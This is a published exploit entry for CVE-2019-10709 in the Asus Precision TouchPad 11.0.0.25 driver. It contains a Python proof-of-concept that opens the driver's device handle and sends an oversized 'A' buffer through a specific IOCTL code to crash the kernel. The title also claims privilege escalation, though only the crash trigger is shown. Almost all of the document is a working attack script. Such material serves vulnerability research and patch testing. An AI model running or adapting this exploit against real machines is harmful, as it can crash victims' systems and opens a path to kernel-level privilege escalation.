Asus Precision TouchPad 11.0.0.25 Denial Of Service / Privilege Escalation

`#!/usr/bin/python  
# Exploit Title: Asus Precision TouchPad 11.0.0.25 - DoS/Privesc  
# Date: 29-08-2019  
# Exploit Author: Athanasios Tserpelis of Telspace Systems  
# Vendor Homepage: https://www.asus.com  
# Version: 11.0.0.25  
# Software Link : https://www.asus.com  
# Contact: services[@]telspace.co.za  
# Twitter: @telspacesystems (Greets to the Telspace Crew)  
# Tested on: Windows 10 RS5 x64  
# CVE: CVE-2019-10709  
  
from ctypes import *   
kernel32 = windll.kernel32   
ntdll = windll.ntdll   
NULL = 0   
hevDevice = kernel32.CreateFileA("\\\\.\\AsusTP", 0xC0000000, 0, None, 0x3, 0, None)   
if not hevDevice or hevDevice == -1:  
print "*** Couldn't get Device Driver handle."  
sys.exit(0)   
  
buf = "A"*12048   
raw_input("Press Enter to Trigger Vuln")   
kernel32.DeviceIoControl(hevDevice, 0x221408, buf, 0x1, buf, 0x1 , 0, NULL)  
`